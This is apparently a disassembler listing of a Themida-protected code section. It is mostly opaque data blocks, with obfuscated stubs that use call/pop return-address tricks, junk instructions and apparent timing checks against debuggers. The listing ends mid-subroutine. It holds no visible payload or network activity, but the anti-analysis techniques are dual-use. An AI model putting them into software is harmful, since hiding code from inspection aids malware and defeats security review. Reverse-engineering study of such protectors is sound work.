		dd 15h,	0EAC35343h, 9E895h, 74430000h, 0D86677E2h, 0F8EB4F0Dh
		dd 6800F5Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C201E:				; CODE XREF: Themida_:005C1F9Dj
		add	[ecx], ch
		mov	ch, 0E5h
		xor	al, 0E3h
		or	bh, ah
		mov	bx, ds
		push	0
		push	esi
		call	sub_5C2034
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2034	proc near		; CODE XREF: Themida_:005C202Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C2034	endp

; ---------------------------------------------------------------------------
		dd 73B93292h, 0E8E2CE99h, 5, 0CD634F75h, 68E0F02h, 23000000h
		dd 0E31C31B5h, 8E85F0Ah, 0EE000000h, 60914E07h,	0E8675CC0h
		dd 0Eh,	11C6054Ah, 0C730697Eh, 38F183A7h, 61607C30h, 0C3F65F5Eh
		dd 78840F04h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0BE9C356h, 0C1661E31h
		dd 95FFAE9Ah, 0AE33389h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0E7C35545h, 50BAE3F8h, 10E9h,	93689F00h
		dd 0F4FD108Bh, 0B8881287h, 2C4FF843h, 2404891Ah, 12E9h
		dd 8BA07100h, 98B857CFh, 0CB7F4807h, 0E21451B5h, 0E92183D7h
		dd 460h, 5FBE6060h, 0E81C1AF0h,	0Ah, 286D446Fh,	3543A3F6h
		dd 615FE0F7h, 68999CB8h, 0B06157h, 899BE66h, 6A70E6h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 71DD42C3h, 0CFCE9C80h, 81664BD0h, 6047E5E7h,	0CA20BA66h
		dd 11E850h, 0FCFE0000h,	4243BA0Bh, 0D598C63Ah, 50A1A8FCh
		dd 595D579Ah, 71E4615Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 8BC35040h, 0A9E54939h, 68F598E6h, 7CE8166h
		dd 0D8B60F91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	9EC35242h, 860F6EA1h, 6, 2B998D89h, 6BA0AE3h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 25C1C356h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0ECF4CC3h, 27BC53F2h
		dd 9E8h, 0E21B5A00h, 0E31A9DA4h, 0BD8B501Ch, 0AE33149h
		dd 4E8C15Fh, 10E9h, 80F5A000h, 0A498BF70h, 4B9D0793h, 0BA107242h
		dd 0E2F7669Ah, 2ED1BD03h, 0D82B0AE3h, 2CC5BD03h, 50930AE3h
		dd 310F5250h, 0ADB7A5BFh, 93585A49h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 6EC35040h, 1A42630Eh, 0B357FB2h
		dd 3125B5FFh, 830F0AE3h, 6, 3015B589h, 95FF0AE3h, 0AE31CD1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2CC35646h
		dd 13E9BFA9h, 0F000000h, 9E17ADEAh, 0F27B4742h,	37036C3Eh
		dd 0E67CAC98h, 0B0BC35h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0B5C35242h, 850970E6h, 0AE31591h, 5838BF66h
		dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8C4255C3h, 81BD0B9Ah, 0F0AE329h, 181h, 0B58BF900h
		dd 0AE32E0Dh, 830F613Ch, 230h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 5AC35646h, 0E989AA78h, 89F373ABh
		dd 0D8B60F40h, 0FBB70F52h, 0DE85Eh, 31650000h, 5D34FDD0h
		dd 35780F2h, 0F9E22AF0h, 6BA5Eh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0C89CBAC3h
		dd 8D89F08Dh, 0AE3188Dh, 209BD8Bh, 0C38B0AE3h, 7E1BD03h
		dd 0E8C10AE3h, 88B0F04h, 0F000000h, 286h, 66F28B00h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 537A40C3h, 9151CE81h, 66603A2Fh, 4C35E981h, 2551958Bh
		dd 2B610AE3h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0FFB04F2Ch, 0FDBD8970h, 580AE315h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 25C35545h
		dd 5120703Bh, 81BD8Bh, 2B5E0AE3h, 19880FD8h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 2FFBC351h, 0AE71E3C5h, 0B988687Eh, 7, 6A00C183h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 7EEBC356h, 77EB7E83h, 0D93B5F56h,	0C2860Fh
		dd 840F0000h, 1, 0D98C66F5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 2FC35747h, 0F6823E3h, 0C1F6F2B7h
		dd 6C840F04h, 0F000000h, 95FFFAB7h, 0AE33389h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 5BC35343h, 56483958h
		dd 1179B589h, 5B5E0AE3h, 343DC32Bh, 0F000008h, 2E86h, 0F88B6600h
		dd 47E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 53C1D1B6h, 771AC9B5h, 8BFFB70Fh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 35E90BA1h, 0D88BC38Bh, 0D58D89FCh, 0C70AE32Bh
		dd 0E328DD85h, 0F427110Ah, 52006A3Eh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B28B76Ch
		dd 1DBD8BC0h, 810AE32Fh, 0E33125BDh, 7D00Ah, 35850F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 4EBAC352h, 660DC9CEh, 0DA57E781h
		dd 2EADB58Bh, 85FF0AE3h, 0AE33125h, 1660BF66h, 3125B5FFh
		dd 8B600AE3h, 0E307F98Dh, 0BE90Ah, 0C3310000h, 88D96AF0h
		dd 0CE791F89h, 95FF6182h, 0AE31CD1h, 6A4090h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A4F6C3C3h
		dd 51BD83A1h, 0AE322h, 106840Fh, 0BD830000h, 0AE32621h
		dd 0F9840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0FB6DC356h,	0B4B4C5B6h
		dd 70BE0005h, 0FF369797h, 0E3225195h, 8D0F600Ah, 6, 6B5B509h
		dd 0D5B20AE3h, 0EFF68161h, 0B02D86Ch, 0AD840FC0h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0CC67C355h, 66CDB2B0h, 0C112F781h, 4E6E8D8Dh
		dd 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 52A6F8C3h, 7E9D3B9h, 5C000000h, 19DE3719h
		dd 0BD237051h, 0AE322ADh, 5B8h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 982313AEh
		dd 66BF1E88h, 6AE1FF10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0E183C352h,	95893902h
		dd 0AE317F9h, 33D1BD83h, 0F000AE3h, 53E84h, 41B52B00h
		dd 830AE322h, 0E32621BDh, 840F000Ah, 52Bh, 969CEE81h, 8D8D7ADDh
		dd 0AE32351h, 2015B589h, 0CE80AE3h, 0EB000000h,	35782B3Eh
		dd 0A9C7421Eh, 31FE49B0h, 0E30625B5h, 1C75F0Ah,	44B27C84h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 9BC35545h
		dd 957D19BFh, 0CB018173h, 891499CFh, 0E31FB58Dh, 441C70Ah
		dd 0CE706B34h, 302DB501h, 41810AE3h, 0D6D71004h, 53006A31h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 192DD69Fh, 2BCD8D01h, 6A0AE3h, 18850Fh, 8C0F0000h, 12h
		dd 0DE9h, 0FF377000h, 73757CF1h, 26366B15h, 858DE682h
		dd 0AE32351h, 0B766BE66h, 6ABF6690h, 13E95064h,	0EE000000h
		dd 787E3EF4h, 4C33850Eh, 122ECA72h, 0DE15BC69h,	669074EFh
		dd 4393C781h, 33D195FFh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 686FB9C3h, 0BE662843h
		dd 8D8DCCB7h, 0AE32351h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 7AC35141h, 0A594280Bh, 870FFB2Eh, 6
		dd 20559D89h, 0D6810AE3h, 4FCA7925h, 1C7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 4FFA57C3h, 0AE62CA9Eh, 0E9150069h, 0Eh, 0AEE235E4h
		dd 1020D2E9h, 97462078h, 41C70C1Eh, 4, 0C00BF900h, 50840Fh
		dd 8B660000h, 6E8D8DF0h, 660AE34Eh, 0B8C2C9BEh,	5, 7E9h
		dd 71F59300h, 76D58A28h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0B69274C3h, 9E80Eh, 4E2A0000h
		dd 22E5087Eh, 8B6C3048h, 8D8D5FFBh, 0AE32351h, 1ED18589h
		dd 1C70AE3h, 44AA727Ch,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 39C35646h, 3D65D781h,	18157C6h, 1499CFCBh
		dd 441C7F5h, 0CE78753Ch, 2DE1B58Bh, 41810AE3h, 0D6D71004h
		dd 55006A31h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0D2A678E6h, 35218D89h, 6A0AE3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 81C35343h, 6DB58B0Dh
		dd 8D0AE31Bh, 0E3235185h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0D275D543h
		dd 0DEBA0C54h, 0D6810166h, 6599D53Fh, 5F515090h, 718D0990h
		dd 290AE330h, 0E31CC185h, 0D195FF0Ah, 890AE333h, 0E31895BDh
		dd 35B58B0Ah, 8D0AE303h, 0E323518Dh, 0EAEE810Ah, 0E972A621h
		dd 8, 549C066Ch, 75B7AF66h, 1C7h, 830F0000h, 3,	0C7FB8B66h
		dd 441h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h,	44810424h
		dd 170424h, 57470000h, 126788C3h, 0DE8A8h, 0F610000h, 59915907h
		dd 0CD9B7D2Bh, 0E9EAFFCAh, 9, 514CA8C1h, 4543F36Dh, 0C00B5ECDh
		dd 3C840Fh, 85890000h, 0AE31D19h, 4E6E8D8Dh, 81660AE3h
		dd 0B89EB2CEh, 5, 12E1BD29h, 0E1FF0AE3h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 0AEC35141h, 8D8D5801h
		dd 0AE32351h, 95A501C7h, 0FE854CAh, 64000000h, 61FD1712h
		dd 0ECA3792Ah, 70EA68C0h, 10E93AF9h, 2B000000h,	0B449B627h
		dd 1165E858h, 18874A03h, 5F8C29AAh, 0CFCB0181h,	6A1499h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 1C9FAFC3h, 52B0AC8Ch, 9D891C53h, 0AE331FDh, 690441C7h
		dd 53CE5F59h, 0FE9h, 8AA5B800h,	8F845820h, 4EE63791h, 0D07A9742h
		dd 441815Fh, 31D6D710h,	17558D89h, 6A0AE3h, 8DF88B66h
		dd 0E3235185h, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0B0F0492Ah, 14B7C8D6h
		dd 0F47A8BBEh, 0E1CF8119h, 5034A11Ch, 0E8605250h, 0Fh
		dd 8B67172Ch, 0DA57D1D4h, 1501B5FBh, 5ED8AFC1h,	310F5250h
		dd 0F61585Ah, 2857BE31h, 585A0509h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0E8C5C355h, 0D195FF48h, 810AE333h, 95036E7h,	518D8D14h
		dd 330AE323h, 0E325A5BDh, 1C70Ah, 0C7000000h, 441h, 0FC520000h
		dd 0FC00B5Fh, 6284h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 9F6EF9FCh, 8DF18BC5h
		dd 0E34E6E8Dh, 0FD9D890Ah, 0BE0AE30Fh, 488C2BFEh, 5B8h
		dd 7BBE6600h, 6AE1FFF0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 46D9C356h, 295F51CEh
		dd 35CC9EFh, 0F1F0E9CAh, 0FEBFFFFFh, 8B5B8AE2h,	50006AC1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 6E458A38h, 4EBF5h, 66000000h, 0E9A83FBEh, 7,	3650CD19h
		dd 8D17ABADh, 0E32FFD85h, 21BD010Ah, 0F80AE316h, 0BE525090h
		dd 63A3C582h, 8E0F310Fh, 4, 0D87CBF66h,	6650585Ah, 3190F08Bh
		dd 0E315C19Dh, 6880F0Ah, 8B000000h, 0E32B99BDh,	89006A0Ah
		dd 0E300AD9Dh, 0BE006A0Ah, 5DBF693Ah, 0BE9h, 22B40B00h
		dd 3D4ED41h, 58AB009Fh,	995858Dh, 6A0AE7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 8DBDFAC3h
		dd 0D1600813h, 6626F7CBh, 835AE1BEh, 860F05C0h,	5, 908A76BFh
		dd 5E89010h, 0CB000000h, 2F35EBC4h, 11E8h, 16227300h, 4E53849Ch
		dd 93A57385h, 559FBE36h, 5E5F0818h, 11E850h, 1F6B0000h
		dd 0A7004B2Bh, 0D26B51A2h, 0E6FF763Ah, 50EFE606h, 6112BE52h
		dd 310F7CC0h, 905F585Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0B8C35747h, 0CE4F2AA7h, 6DEED9B8h, 14058589h
		dd 6A0AE3h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Ch,	0B2C35343h, 827CE849h, 72E90ED4h, 0F88B006Ah, 14E995FFh
		dd 6A0AE3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 172CFAC3h, 9D8D8B67h, 0AE6D5CAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D0C35141h, 7F5B2EC5h
		dd 0E8D3FF64h, 0Dh, 0EC737686h,	3ECB12B0h, 0F8CA4C0Bh
		dd 14E8ECh, 0D6E60000h,	8DC10376h, 0C20AFC6Fh, 352129C9h
		dd 2D4A619Dh, 5F5FAF05h, 1C1585FFh, 0E9FC0AE3h,	823h, 0E8h
		dd 0ED815D00h, 0AE7099Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 5FC35545h, 5B1FDBCFh,	122C875Eh, 0BE66CFh
		dd 25BD8157h, 0D00AE331h, 0F000007h, 13086h, 0F1B70F00h
		dd 26499D8Bh, 0E3810AE3h, 100h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0CFC35141h,	7869F6BEh, 562233D3h
		dd 3800Fh, 0BF0F0000h, 0FDB0BF3h, 8285h, 0CDBD8300h, 0AE707h
		dd 21840Fh, 0BE660000h,	0A2E9AB4Eh, 0E9000000h,	13h, 268152DEh
		dd 0FEB16ABh, 0E8F856E1h, 38263C05h, 0C765D40Fh, 0E707CD85h
		dd 10Ah, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 50524743h, 11E8h,	0D98F3C00h, 0D7905C7Bh
		dd 8065A1h, 9AA63082h, 830F224Dh, 3, 5FF0B70Fh,	3CE9h
		dd 6DB58B00h, 0C70AE300h, 0E707CD85h, 0Ah, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 69DDEA9Fh, 96D52A95h, 0BE53E5B3h, 32DC6346h,	499D8D5Eh
		dd 6A0AE326h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0C739C353h, 62CE5FBEh,	0FF238147h
		dd 8BFFFFFEh, 0E31D89BDh, 0DB8C660Ah, 0F04C3F6h, 5784h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 3EC5E0D3h, 0CE40045Dh, 95FF116Bh, 0AE33389h
		dd 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 60C35343h, 0BF664E21h, 89505EB4h
		dd 0B58B2404h, 0AE3315Dh, 441E9h, 21B58B00h, 0B00AE312h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 52387302h, 0B58B70E6h, 0AE30009h, 6A71E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B60F3EC3h, 0C1BD8BD8h, 0BA0AE31Dh, 6, 8BF88B66h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 950B602Ah, 0AE33135h, 2F5D858Bh, 0BF610AE3h,	7F527797h
		dd 8B04E8C1h, 0E30465BDh, 0E2F7660Ah, 2BFE8B66h, 0F6BF0FD8h
		dd 0AE86093h, 68000000h, 0EDA83839h, 65687135h,	0F08B6691h
		dd 7CB9515Ah, 5A149DFFh, 870F5061h, 8, 880F53h,	5E000000h
		dd 52006A93h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 820F85B0h, 19h, 14E9h, 0E16AA800h, 706450EBh
		dd 0D3EF5393h, 5BA9F0D8h, 7B120070h, 25B5FF9Fh,	6A0AE331h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0E8B8C350h, 4CC6F6C5h, 9E8h, 7C490E00h, 1B306Dh
		dd 0BF6651D7h, 295E296Dh, 0E3227DB5h, 0D195FF0Ah, 6A0AE31Ch
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 7A01C351h, 8B66511Ah, 0BD8B5FFAh,	0AE3203Dh
		dd 0F28B00B0h, 12E970E6h, 3C000000h, 0AA9A45BEh, 8B2CD93h
		dd 930F4D09h, 2F6E49C0h, 6A71E4BEh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 5E4C353h
		dd 0BE83CF0h, 0E000000h, 891D649Bh, 0E2E4E5Ah, 0BEBEA523h
		dd 5F153BAFh, 830F613Ch, 26Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 30C35545h, 51D7001Bh, 0F5C1F646h
		dd 840Fh, 0FF90000h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 9637C1C3h, 3DAB63EDh
		dd 0E9BD8B62h, 0E90AE32Ch, 14h,	0D6612EDh, 6AA7781Dh, 93998E26h
		dd 995C92AAh, 0EDF2B8E1h, 6BAh,	0C38BF800h, 0F0816660h
		dd 0B95622DEh, 4194CB5Eh, 8B66615Fh, 4E8C1F7h, 31A5B589h
		dd 0F7660AE3h, 51006AE2h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 3478F440h, 0AA4322EEh
		dd 6AD82B22h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 6157C351h, 6660457Ch, 388FE681h
		dd 2C15B58Bh, 66520AE3h, 0DFD0EF81h, 2BFC585Eh,	73880FD8h
		dd 0B9000001h, 7, 30499589h, 0C1830AE3h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0FB8B6665h, 3BFFB70Fh, 3B860FD9h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8C43C356h, 4E88E805h, 8B1FBDECh, 0E31FFDBDh,	12E90Ah
		dd 4F00000h, 0D76BD4B5h, 0B41C6792h, 87E3F30Dh,	48A94F9Bh
		dd 6AD98C66h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F2BEC352h, 0B75431BEh, 0B9B58962h
		dd 0F60AE32Ch, 840F04C1h, 0BEh,	22BD9D89h, 95FF0AE3h, 0AE33389h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7AC35646h
		dd 6A5B1E4Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 9AAFC352h, 0B58B528Ch,	0AE33069h
		dd 9E9C32Bh, 8C000000h,	0AE17BDB4h, 0D94D5B04h,	8343Dh
		dd 53860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0D1FEC352h,	0D2CE8166h
		dd 34E9BBh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 7E0D01C3h, 8153E4Dh, 8B764FC2h
		dd 0E31A81BDh, 0C08BF50Ah, 1D2DBD8Bh, 0C38B0AE3h, 0BF0FD88Bh
		dd 0C7F08BFBh, 0E3334D85h, 63C9B10Ah, 51006A1Ch, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 89C08B2Ch, 0E31ED18Dh, 25BD810Ah, 0D00AE331h, 0F000007h
		dd 6485h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0BFD2F207h, 79CBFCAEh, 1C9D9529h
		dd 85FF0AE3h, 0AE33125h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 6CC35141h, 0D1725DB4h, 8E845h, 0F39C0000h
		dd 689B1260h, 8529F8FFh, 0AE3090Dh, 25B5FF5Eh, 660AE331h
		dd 3C857BEh, 0E32575BDh, 0D195FF0Ah, 8B0AE31Ch,	0BD8B90F8h
		dd 0AE31C01h, 0E9F0B70Fh, 13h, 51F13ADFh, 95B44418h, 4E25FE57h
		dd 4E7FA5C7h, 8BD43639h, 0FB8B66F7h, 59B589FCh,	6A0AE306h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0C05C350h, 161AAE15h, 56006A84h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0F1D2C036h
		dd 0B58B5879h, 0AE33135h, 0B800Fh, 81660000h, 339247CEh
		dd 0E3148DB5h, 0B59D890Ah, 530AE32Dh, 0D1E68166h, 81665355h
		dd 5F45E3E7h, 51006A5Fh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 3D370EFAh, 6A54C516h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7E41C353h
		dd 8166B119h, 0E95389F6h, 7, 81624F0Eh,	6AF62FD6h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0FE6C357h, 259342B2h, 0F6BF0F41h, 0FFF807E9h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 33952D5Ah, 0E30631B5h, 55B58B0Ah, 8B0AE320h,	31B58BC1h
		dd 0EB0AE31Ah, 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0F5469EF3h, 418FB456h
		dd 9F08B50h, 0E318619Dh, 52006A0Ah, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 469B2083h, 29AD0928h
		dd 0E31C4D8Dh, 0FD858D0Ah, 6A0AE32Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 90AFC351h
		dd 5050F78Bh, 68BF6652h, 5A310F78h, 6A9058h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 90C35545h, 0FE9C635h
		dd 63000000h, 0D03E0Eh,	0EA1C7DB2h, 0F3A9189Ch,	6A9B5Fh
		dd 0A868DF81h, 10E903B2h, 77000000h, 2D1F9E9h, 8DD969C9h
		dd 0FE765B77h, 8D2C7336h, 0E7139A85h, 6DB58B0Ah, 660AE31Eh
		dd 54F0F681h, 8105C083h, 5DA249CFh, 0C9BD8B5Dh,	500AE31Dh
		dd 48BF6650h, 4895FFCh,	6AF924h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 76C35646h, 7ABF02B7h, 0B4604D28h
		dd 58533E7h, 610AE314h,	73BF006Ah, 0FF06CD71h, 0E314E995h
		dd 5D9D290Ah, 8D0AE318h, 0E6D5CA9Dh, 51006A0Ah,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 4A32DD5Dh
		dd 840F3CD0h, 4, 6CD3BE66h, 6AD3FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF0FFCC3h, 1585FFF3h, 6A0AE31Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0EFA6C356h, 3737B8CCh, 7E9783Ch, 90000000h
		dd 0E5FE170Dh, 840FAA98h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5C40D5
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 0AE713A4h
		cmp	dword ptr [ebp+0AE33125h], 7D0h
		jbe	loc_5C3A06
		push	0
		push	ebp
		call	sub_5C38B8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C38B8	proc near		; CODE XREF: Themida_:005C38B0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C38B8	endp

; ---------------------------------------------------------------------------
		dd 0B5D503EAh, 0CE8h, 0E018BD00h, 66A36B90h, 3F8653FCh
		dd 81665600h, 5EBC21EFh, 0CE95Fh, 13D00000h, 9F9D737Dh
		dd 24C1087Ah, 9D8BD13Bh, 0AE32DEDh, 81FBB70Fh, 100E3h
		dd 0DD65BF00h, 0EE85B2Dh, 0D4000000h, 0B0DFC42Fh, 0FC7236EFh
		dd 0F190663Fh, 8EBF662Fh, 0DB0B5F8Eh, 0BE850Fh,	0B5890000h
		dd 0AE31335h, 11C7BD83h, 0F000AE7h, 5384h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 26F293E1h, 39522606h, 4DBD8B22h, 0E90AE331h,	86h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F6C35040h, 0C4AA351Ch
		dd 0F8C811E8h, 11C785C7h, 10AE7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 581237C3h
		dd 25850166h, 0E90AE329h, 2Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 3CC35242h, 0C5D26CFFh, 0DBED9E28h
		dd 11C785C7h, 0AE7h, 9D8D0000h,	0AE32DEDh, 2381F28Bh, 0FFFFFEFFh
		dd 21D5BD8Bh
		db 0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5C3A06:				; CODE XREF: Themida_:005C38A7j
		mov	bx, ds
		test	bl, 4
		jz	loc_5C3A9C
		push	0
		push	edi
		call	sub_5C3A1D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3A1D	proc near		; CODE XREF: Themida_:005C3A15p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C3A1D	endp

; ---------------------------------------------------------------------------
		lahf
		jl	short near ptr loc_5C3A9A+1
		lahf
		js	short loc_5C3A6C
		sub	[edx-6A005C38h], al
		mov	[ebx], esi
		jecxz	short near ptr loc_5C3A45+2
		push	0
		push	eax
		call	sub_5C3A48


loc_5C3A45:				; CODE XREF: Themida_:005C3A3Bj
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3A48	proc near		; CODE XREF: Themida_:005C3A40p

